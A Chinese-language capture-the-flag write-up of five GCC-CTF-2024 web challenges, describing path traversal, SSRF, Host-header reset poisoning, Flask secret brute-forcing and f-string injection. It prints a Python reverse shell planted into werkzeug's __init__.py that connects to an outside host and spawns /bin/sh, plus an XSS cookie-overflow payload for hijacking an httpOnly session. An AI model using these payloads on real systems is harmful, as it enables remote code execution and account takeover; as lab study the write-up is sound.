GCC-CTF-2024 web复现
Arcueid 发表于 浙江 CTF 322浏览 · 2024-10-27 04:37

free_chat

注册登录后给了一个聊天室的功能

很自然的去尝试了ssti 设置中的姓名也尝试了 没有

设置中头像的url参数name可控 尝试路径穿越读一下文件

双写能绕 服务端处理的比较抽象

读源码

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Python Version    : 3.11
# Author            : Mika - @bWlrYQ
# Created           : 2024-02-20

from flask import Flask, render_template, redirect, url_for, send_file
from flask_login import LoginManager, login_required, current_user
from secrets import token_hex
from lib.database import db, User, fill_chats, Locked
from os import system

app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SECRET_KEY'] = token_hex(64)
app.config['MAX_CONTENT_LENGTH'] = 16 * 1000 * 1000

db.init_app(app)
login_manager = LoginManager()
login_manager.init_app(app)

with app.app_context():
    db.create_all()
    if Locked.query.first() is None:
        db.session.add(Locked(locked=True))
        fill_chats()

@login_manager.user_loader
def load_user(user_id):
    return db.session.get(User, int(user_id))

@app.route('/', methods=['GET'])
def index():
    if current_user.is_authenticated:
        return redirect(url_for('chat'))
    else:
        return render_template('index.html')

@app.route('/pfp', methods=['GET'])
@login_required
def pfp():
    try:
        name = request.args.get('name')
    except:
        return "Invalid request", 400
    try:
        return send_file(f'pfp/{name.replace("../", "")}')
    except:
        return f"Couldn't find {name.replace('../', '')}, hecker !", 400

from lib.accounts import *
from lib.chat import *
from lib.settings import *

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, threaded=True)

没啥有用的信息

在设置中还存在ssrf 用@绕一下http://pbs.twimg.com的限制

内网探测一下 发现1337端口存活

<!DOCTYPE html>
<html>
<head>
    <title>FreeChat - Dev Panel</title>
    <script src="/static/js/hint.js"></script>
</head>
<body>
    <div style="text-align: center;">
        <h1>FreeChat - Dev Panel</h1>
        <h3>Welcome dev, to access the panel, please enter your access token</h3>
        <form action="http://devpanel:8000/" action="GET">
            <input type="text" name="token" placeholder="Access Token">
            <input type="submit" value="Submit">
        </form>
        <div>
            <h5 style="display: inline-block;">Forgot your token ? </h5>
            <button onclick="hint()" style="display: inline-block;">Hint</button>
        </div>
        <div id="hint"></div>
    </div>

</body>
</html>

读hint.js

function hint(){
    document.getElementById("hint").innerHTML = "<h5>Hint: Don't be stupid admin, if you've lost the <b>token</b> you can still <b>locate</b> it. Just think!</h5>"
}

结合hint.js 说是没有token也能访问devpanel 可以使用locate

这里的locate实际上指的是locate命令 用于查找文件的位置

locate通过读数据库来找到我们所需的文件的位置

mlocate默认查找的是mlocate.db 可以通过-d指定数据库

结合文件读 我们下载mlocate.db 但是并没有下载到

debian的在/var/cache/locate/locatedb 使用的是GNUlocate

需要GNU locate

读到token后访问devpanel

free_cider

说是暂时关闭注册 根据登录的api构造注册的请求包

没啥用 字典跑出来swagger api

俩新接口 一个通过id查user 一个只需要username就可以重置密码

遍历id 找到admin

然后没思路了 wp说的是 一个常见的出现于密码重置的缺陷 服务器会依赖于Host来生成发送给用户的链接

修改host为vps并监听

拿着token重置密码并登录即可

find_the_compass

先看的route 发现几乎所有功能都需要auth

回头看__init__ cookie的secret是通过generate_key生成的

生成8位数字 复杂度不高 可以尝试用flask-unsign爆

https://github.com/crunchsec/crunch 利用crunch快速生成字典

crunch 8 8 0123456789  -o wordlist.txt

这里伪造出来的不对 不知道什么毛病 直接docker里拿密码登录

admin登录进去跳转到panel

content内容可控 配合f-string可以直接拿到render对象

直接读coordinates就行

{self.coordinates}

frenzy_flask

给了一个文件上传的功能

过滤路径穿越

但是由于使用了joinpath 可以直接写绝对路径

那么这里可以任意文件上传

flask开启了debug模式 支持热重载

那么我们可以考虑直接去改app.py 直接rce

但是很遗憾没权限

可以考虑去覆盖库

/home/user/.local/lib/python3.12/site-packages/werkzeu

from __future__ import annotations

import typing as t

from .serving import run_simple as run_simple
from .test import Client as Client
from .wrappers import Request as Request
from .wrappers import Response as Response

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.45.1",9000))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

def __getattr__(name: str) -> t.Any:


    if name == "__version__":
        import importlib.metadata
        import warnings



        warnings.warn(
            "The '__version__' attribute is deprecated and will be removed in"
            " Werkzeug 3.1. Use feature detection or"
            " 'importlib.metadata.version(\"werkzeug\")' instead.",
            DeprecationWarning,
            stacklevel=2,
        )
        return importlib.metadata.version("werkzeug")

    raise AttributeError(name)

反弹sehll

TheGeniePwnAdventures

题目实现了一个聊天功能 bot随机回复 存在flag路由 需要username不是admin但是过admin权限验证

bot是admin权限

和bot交互的点就一个

当我们向admin发送信息时候bot会回应

由于使用了无头浏览器发送请求 很自然可以想到xss

尝试外带cookie 但是发现存在httpOnly

admin的鉴权是基于cookie中的authorization做的

尝试通过xss替换bot的authentication_cookie

当bot携带着我们定义的authentication_cookie去回复消息时会向数据库写

从而给这个authentication_cookie洗成admin相关的 鉴权是直接从数据库读

还是因为httpOnly 不能直接通过js替换 需要溢出

<script>
    function overflow() {
        for (let i=0; i<700; i++){
            document.cookie = `${i}=${i};`;
        }
        for (let i=0; i<700; i++){
            document.cookie = `cookie${i}=${i}; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;`;
        }
    };
    if (document.cookie.indexOf("user_attacked=") === -1){
        overflow();
        document.cookie = `authorization=fullyponcedbocklit;expires=Thu, 01 Jan 2025 00:00:01 GMT`;
        document.cookie = `user_attacked=yes`;
        window.location="/logout";
    };
</script>

发送payload后访问falg路由即可

这里FakeFlag是由于没有注入flag导致的 解法没问题

0 条评论
某人
表情
可输入 255